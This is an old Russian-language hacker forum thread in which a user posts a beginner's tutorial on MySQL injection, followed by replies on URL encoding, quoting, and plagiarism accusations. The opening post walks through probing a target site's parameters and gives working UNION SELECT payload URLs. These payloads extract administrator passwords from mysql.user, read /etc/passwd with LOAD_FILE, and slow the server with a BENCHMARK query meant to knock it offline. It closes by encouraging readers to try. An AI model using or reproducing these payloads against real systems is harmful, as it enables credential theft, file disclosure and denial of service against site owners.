MySQL-injection для новичков

Discussion in 'Статьи' started by LoFFi, 12 Mar 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Эта статья должна помочь новичкам с MySQL-injection
    несмотря на большое колличество статей на эту же тему в Чужих Статьях решил все же
    написать более доступную, так что не забрасывайте камнями =)


    Итак.... Что же такое MySQL-injection вообще?
    Само слово 'инъекция' означает вставку нужного нам кода
    в скрипт. В данном случае это MySQL запрос. Прежде всего для того чтобы
    юзать данную уязвимость надо иметь хоть какие то азы скуля...
    Приступим к поэтапному анализу


    Нахождение:

    Первым делом находим на интересующем нас сайте скрипт, который
    собственно выдает нам какую то инфу из базы, а так же для этого
    использует входящий параметр. Ну вот например:

    _http://www.xzkakoysite.com/list.php?id=7

    Протестируем параметры на фильтрацию:

    _http://www.xzkakoysite.com/list.php?id=7'
    _http://www.xzkakoysite.com/list.php?id=fgdfnnvb


    _http://www.xzkakoysite.com/list.php?id=8-1
    или
    _http://www.xzkakoysite.com/list.php?id=6%2B1

    Последние два варианта - это в большинстве случаев 100% скуль-инж...




    Анализируем

    Ну для начала нас огорчает то, что все таки для проведения инъекции требуеться
    сервер MySQL версии не ниже 4*, так как другие не поддерживают команду UNION

    И так пробуем. Надо еще запомнить что иногда база может вернуть пустой запрос
    и тогда мы не увидим никаких изменений, либо получим редирект на Index.php либо
    еще какую нибудь гадость при ошибке 500

    Для начала нам нужно угадать колличество полей. для этого используем запрос

    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null/*

    потом

    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null/*

    и так далее пока не получим правильный ответ от сервера. '/*' ставит в коменты
    весь код после - это позволяет отбросить любой незапланированый нами скуль запрос дальше по коду.
    так что ставим обязательно. вообщем немного помучавшись допустим мы
    подобрали кол-во null.


    Мы же не можем дописать код странички поэтому нам надо выбрать для себя то поле,
    в которое мы, подменив данные, выведем пасс админа. для этого лучше взять какое нить
    text поле, так как имеет найбольший размер типа данных. теперь подставляем любое слово
    и смотрим на странице, где оно у нас отобразиться

    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,null,'lol =)',null,null/*

    Но тут есть много подводных камней.... Например кавычки могут экранироваться и т.д.
    Тогда пробуем немного другой запрос

    _http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3/*

    Теперь определившись с местом поля, можно переходить к еще более интересному процессу...
    подбор имен таблиц!... =)
    Советую сразу пробовать что нить вроде pass, password, user, users и т.д.

    Вообщем владея всей инфой можем составить запрос типа

    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null,mysql.user.password,null,null,null+from+mysql.user+limit+0,1/*

    Ну думаю дальше разберетесь...





    С помощью MySQL можно так же читать и локальные файлы
    например

    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,LOAD_FILE('/etc/passwd'),null,null,null/*

    Но это все если мы имеем достаточно прав


    Вообще скуль инжекшн - очень опасная вещь. Можно даже составить DOS атаку
    Например если использовать BENCHMARK. К примеру такой запрос

    _http://www.xzkakoysite.com/list.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

    В качестве входного параметра безем дату (чтоб ковычек не содержало). Вообщем если примерно по расчету
    10000000 запросов исполняеться за 5 сек(хотя это смотря какой сервер) то данный запрос будет
    обрабатываться 50 сек... Пара таких запросов и сервер ляжет.

    Дерзайте =))
     
    #1 LoFFi, 12 Mar 2006
    Last edited: 12 Mar 2006
    3 people like this.
  2. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    такое не покатит, т.к. + равнозначен пробелу, но счет минуса не знаю, их нужно переводить в url
     
  3. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Извени =(( забыл =(( Плюс надо кодировать =((
     
  4. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    238
    Reputations:
    182
    Кстати мне не очень понятно. Я делаю так
    _http://www.xzkakoysite.com/list.php?id=7+union+select+1,2,3,4,5......
    Это одно и тоже что и null?
    _http://www.xzkakoysite.com/list.php?id=7+union+select+null,null,null
    И если делать так _http://www.xzkakoysite.com/list.php?id=7+union+select+1,1,1,1,1...
    То тоже получится?
    И еще вопрос Почему http://www.xzkakoysite.com/list.php?id=7+union+select+null...
    тут после id=7 не стоит кавычка? Или без нее тоже можно обойтись?
     
  5. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

    http://www.xzkakoysite/test.php?id=9999+union+select+1,2,3/*

    Этот же фокус пройдет и там, где кавычки экранируются.

    Что непонятно - стучите в асю
     
  6. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Ковычка типа ' ? Она нам нужна только лишь для нахождения дыры. Она модифицирует MySQL запрос производя ошибку, если запрос не фильтруеться. Поэтому когда производим иньекцию, то ' не используем. Не забывай ставить в конце запроса '/*' - это закоментит остаток запроса, если он есть.
     
  7. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    Улыбнуло...)
     
  8. porter

    porter Banned

    Joined:
    1 Mar 2005
    Messages:
    58
    Likes Received:
    9
    Reputations:
    1
    а что значит
    Empty result or Bad sql: SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left
     
  9. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    гыггыгы... не помню где, но читал статью один в один с этой. В ней тоже было написано про benchmark и md5 и current_date, правда там предлагалось в итоге не число увеличивать повторов, а брать мд5 от мд5... ИМХО в этой статье это просто вырезано.
    LoFFi, ничего личного... ;)
    >> SELECT A.*, IF (A.cat_left+1 < A.cat_right, 1, 0) AS nflag FROM main_ns A, main_ns B WHERE B.cat_id='7' AND A.cat_left > B.cat_left AND A.cat_right < B.cat_right ORDER BY A.cat_left
    Добавил бы еще left join какой-нить и специфические функции... Я так понял, это вопрос LoFFi?
    ;)
     
    #9 podkashey, 12 Mar 2006
    Last edited: 12 Mar 2006
  10. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Ну ты бы еще сказал что еще где то читал про MySQL injection, и это значит что я содрал статью. Я сам все писал, просто естественно когда то я тоже читал чужие статьи и на них учился =)
     
  11. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Ну например http://virusov.net.ua/displayarticle426.html
    Сравни свою и эту.
    Причем и тут и тут с маленькой буквы... Странно... ;)
    Лучше ответь на вопрос портера. ;)
     
  12. D1mOn

    D1mOn Elder - Старейшина

    Joined:
    2 Oct 2005
    Messages:
    380
    Likes Received:
    144
    Reputations:
    29
    автор выпей яду)